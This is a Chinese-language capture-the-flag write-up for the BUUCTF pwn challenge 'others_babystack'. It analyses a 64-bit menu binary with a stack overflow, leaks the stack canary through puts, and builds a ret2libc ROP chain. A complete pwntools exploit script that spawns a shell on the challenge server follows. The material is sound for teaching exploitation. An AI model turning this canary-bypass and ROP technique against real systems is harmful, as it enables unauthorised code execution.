others_babystack
准备

64 位,开了 canary
和 NX
分析
main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| __int64 __fastcall main(int a1, char **a2, char **a3) { int v3; // eax char s[136]; // [rsp+10h] [rbp-90h] BYREF unsigned __int64 v6; // [rsp+98h] [rbp-8h]
v6 = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); memset(s, 0, 0x80uLL); while ( 1 ) { sub_4008B9(); v3 = sub_400841(); switch ( v3 ) { case 2: puts(s); break; case 3: return 0LL; case 1: read(0, s, 0x100uLL); break; default: sub_400826("invalid choice"); break; } sub_400826(&byte_400AE7); } }
|
先 canary
的值赋值给 v6
然后进入他循环,给了一个菜单,进行选择
当选 1 时,是输入点,读取输入最大 256(0x100) 个字节到 s
,但 s
大小为 136,所以存在缓冲区溢出
当选 2 时,会用 puts
函数对输入的内容进行输出
当选 3 时,退出流程
思路:
这题开了 canary
保护,有溢出点,没其他连接点,输入后可以输出,所以泄露 canary
后,打 64 位的 ret2libc
通过 ida
查看栈情况,计算输入点(s
)到 canary
值(v6
)的距离
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157
| -00000000000000A0 // Use data definition commands to manipulate stack variables and arguments. -00000000000000A0 // Frame size: A0; Saved regs: 8; Purge: 0 -00000000000000A0 -00000000000000A0 // padding byte -000000000000009F // padding byte -000000000000009E // padding byte -000000000000009D // padding byte -000000000000009C // padding byte -000000000000009B // padding byte -000000000000009A // padding byte -0000000000000099 // padding byte -0000000000000098 // padding byte -0000000000000097 // padding byte -0000000000000096 // padding byte -0000000000000095 // padding byte -0000000000000094 _DWORD var_94; -0000000000000090 _BYTE s; -000000000000008F // padding byte -000000000000008E // padding byte -000000000000008D // padding byte -000000000000008C // padding byte -000000000000008B // padding byte -000000000000008A // padding byte -0000000000000089 // padding byte -0000000000000088 // padding byte -0000000000000087 // padding byte -0000000000000086 // padding byte -0000000000000085 // padding byte -0000000000000084 // padding byte -0000000000000083 // padding byte -0000000000000082 // padding byte -0000000000000081 // padding byte -0000000000000080 // padding byte -000000000000007F // padding byte -000000000000007E // padding byte -000000000000007D // padding byte -000000000000007C // padding byte -000000000000007B // padding byte -000000000000007A // padding byte -0000000000000079 // padding byte -0000000000000078 // padding byte -0000000000000077 // padding byte -0000000000000076 // padding byte -0000000000000075 // padding byte -0000000000000074 // padding byte -0000000000000073 // padding byte -0000000000000072 // padding byte -0000000000000071 // padding byte -0000000000000070 // padding byte -000000000000006F // padding byte -000000000000006E // padding byte -000000000000006D // padding byte -000000000000006C // padding byte -000000000000006B // padding byte -000000000000006A // padding byte -0000000000000069 // padding byte -0000000000000068 // padding byte -0000000000000067 // padding byte -0000000000000066 // padding byte -0000000000000065 // padding byte -0000000000000064 // padding byte -0000000000000063 // padding byte -0000000000000062 // padding byte -0000000000000061 // padding byte -0000000000000060 // padding byte -000000000000005F // padding byte -000000000000005E // padding byte -000000000000005D // padding byte -000000000000005C // padding byte -000000000000005B // padding byte -000000000000005A // padding byte -0000000000000059 // padding byte -0000000000000058 // padding byte -0000000000000057 // padding byte -0000000000000056 // padding byte -0000000000000055 // padding byte -0000000000000054 // padding byte -0000000000000053 // padding byte -0000000000000052 // padding byte -0000000000000051 // padding byte -0000000000000050 // padding byte -000000000000004F // padding byte -000000000000004E // padding byte -000000000000004D // padding byte -000000000000004C // padding byte -000000000000004B // padding byte -000000000000004A // padding byte -0000000000000049 // padding byte -0000000000000048 // padding byte -0000000000000047 // padding byte -0000000000000046 // padding byte -0000000000000045 // padding byte -0000000000000044 // padding byte -0000000000000043 // padding byte -0000000000000042 // padding byte -0000000000000041 // padding byte -0000000000000040 // padding byte -000000000000003F // padding byte -000000000000003E // padding byte -000000000000003D // padding byte -000000000000003C // padding byte -000000000000003B // padding byte -000000000000003A // padding byte -0000000000000039 // padding byte -0000000000000038 // padding byte -0000000000000037 // padding byte -0000000000000036 // padding byte -0000000000000035 // padding byte -0000000000000034 // padding byte -0000000000000033 // padding byte -0000000000000032 // padding byte -0000000000000031 // padding byte -0000000000000030 // padding byte -000000000000002F // padding byte -000000000000002E // padding byte -000000000000002D // padding byte -000000000000002C // padding byte -000000000000002B // padding byte -000000000000002A // padding byte -0000000000000029 // padding byte -0000000000000028 // padding byte -0000000000000027 // padding byte -0000000000000026 // padding byte -0000000000000025 // padding byte -0000000000000024 // padding byte -0000000000000023 // padding byte -0000000000000022 // padding byte -0000000000000021 // padding byte -0000000000000020 // padding byte -000000000000001F // padding byte -000000000000001E // padding byte -000000000000001D // padding byte -000000000000001C // padding byte -000000000000001B // padding byte -000000000000001A // padding byte -0000000000000019 // padding byte -0000000000000018 // padding byte -0000000000000017 // padding byte -0000000000000016 // padding byte -0000000000000015 // padding byte -0000000000000014 // padding byte -0000000000000013 // padding byte -0000000000000012 // padding byte -0000000000000011 // padding byte -0000000000000010 // padding byte -000000000000000F // padding byte -000000000000000E // padding byte -000000000000000D // padding byte -000000000000000C // padding byte -000000000000000B // padding byte -000000000000000A // padding byte -0000000000000009 // padding byte -0000000000000008 _QWORD var_8; +0000000000000000 _QWORD __saved_registers; +0000000000000008 _UNKNOWN *__return_address; +0000000000000010 +0000000000000010 // end of stack variables
|
这里的 s
在这里 -0000000000000090 _BYTE s;
v6
在这里 -0000000000000008 _QWORD var_8;
两者间的距离为 0x90-0x8=0x88(136)
利用一次输入和输出,泄露 canary
的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import * from LibcSearcher import * context(log_level='debug',arch='amd64',os='linux') # io = remote('node5.buuoj.cn',27299) io = process('/home/motaly/bs') elf = ELF('/home/motaly/bs')
def show(): io.sendlineafter(b'>> ','2')
def exit(): io.sendlineafter(b'>> ','3')
def store(content): io.sendlineafter(b'>> ','1') io.sendline(content)
payload=b'a'*135+b'b' store(payload) show()
io.recvuntil(b'b') canary=u64(io.recv(8)[-7:].rjust(8,b'\x00')) log.success('canaty: '+hex(canary))
|
这里最后的 b'b'
是为了好定位,来下面接收后获得 canary
的值
有了 canary
的值,就正常的打 ret2libc
因为 64 位程序,所以需要寄存器,这里用常用的 puts
函数去打,有一个参数,用 rdi
寄存器,在考虑 64 位的堆栈平衡,也要知道 ret
来填充
用 ROPgadget
指令获取这些数据

先获取 puts
函数的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| payload=b'a'*135+b'b' store(payload) show()
io.recvuntil(b'b') canary=u64(io.recv(8)[-7:].rjust(8,b'\x00')) log.success('canaty: '+hex(canary))
rdi=0x400a93 ret=0x40067e puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] main=0x400908
payload=b'a'*136+p64(canary)+b'b'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) store(payload) exit()
puts_addr=u64(io.recv(6).ljust(8,b'\x00')) log.success('puts_addr: '+hex(puts_addr))
|
这里前面的填充先给 136 个数据,然后给一个 canary
的值,来绕过 canary
保护,然后因为总的偏移是 0x90+8(152),所以后面在加一个 8 的填充
最后退出流程,才能运行返回地址,获得 puts
函数的地址
通过 puts
函数的地址,得到 libc
基址,进而有了 system
和 /bin/sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| payload=b'a'*135+b'b' store(payload) show()
io.recvuntil(b'b') canary=u64(io.recv(8)[-7:].rjust(8,b'\x00')) log.success('canaty: '+hex(canary))
rdi=0x400a93 ret=0x40067e puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] main=0x400908
payload=b'a'*136+p64(canary)+b'b'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) store(payload) exit()
puts_addr=u64(io.recv(6).ljust(8,b'\x00')) log.success('puts_addr: '+hex(puts_addr))
libc=LibcSearcher("puts", puts_addr) libc_base=puts_addr-libc.dump('puts') log.success('libc_base: ' + hex(libc_base)) system=libc_base+libc.dump('system') bin_sh=libc_base+libc.dump("str_bin_sh")
|
最后在同样的执行一遍流程,获得 shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| payload=b'a'*135+b'b' store(payload) show()
io.recvuntil(b'b') canary=u64(io.recv(8)[-7:].rjust(8,b'\x00')) log.success('canaty: '+hex(canary))
rdi=0x400a93 ret=0x40067e puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] main=0x400908
payload=b'a'*136+p64(canary)+b'b'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) store(payload) exit()
puts_addr=u64(io.recv(6).ljust(8,b'\x00')) log.success('puts_addr: '+hex(puts_addr))
libc=LibcSearcher("puts", puts_addr) libc_base=puts_addr-libc.dump('puts') log.success('libc_base: ' + hex(libc_base)) system=libc_base+libc.dump('system') bin_sh=libc_base+libc.dump("str_bin_sh")
payload=b'a'*136+p64(canary)+b'b'*8+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) store(payload) exit()
|
脚本
( BUU
的 Ubuntu 16
对应的 libc
版本是 libc6_2.23-0ubuntu11_amd64
)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| from pwn import * from LibcSearcher import * context(log_level='debug',arch='amd64',os='linux') io = remote('node5.buuoj.cn',27299) # io = process('/home/motaly/bs') elf = ELF('/home/motaly/bs')
def show(): io.sendlineafter(b'>> ','2')
def exit(): io.sendlineafter(b'>> ','3')
def store(content): io.sendlineafter(b'>> ','1') io.sendline(content)
payload=b'a'*135+b'b' store(payload) show()
io.recvuntil(b'b') canary=u64(io.recv(8)[-7:].rjust(8,b'\x00')) log.success('canaty: '+hex(canary))
rdi=0x400a93 ret=0x40067e puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] main=0x400908
payload=b'a'*136+p64(canary)+b'b'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) store(payload) exit()
puts_addr=u64(io.recv(6).ljust(8,b'\x00')) log.success('puts_addr: '+hex(puts_addr))
libc=LibcSearcher("puts", puts_addr) libc_base=puts_addr-libc.dump('puts') log.success('libc_base: ' + hex(libc_base)) system=libc_base+libc.dump('system') bin_sh=libc_base+libc.dump("str_bin_sh")
payload=b'a'*136+p64(canary)+b'b'*8+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) store(payload) exit()
io.interactive()
|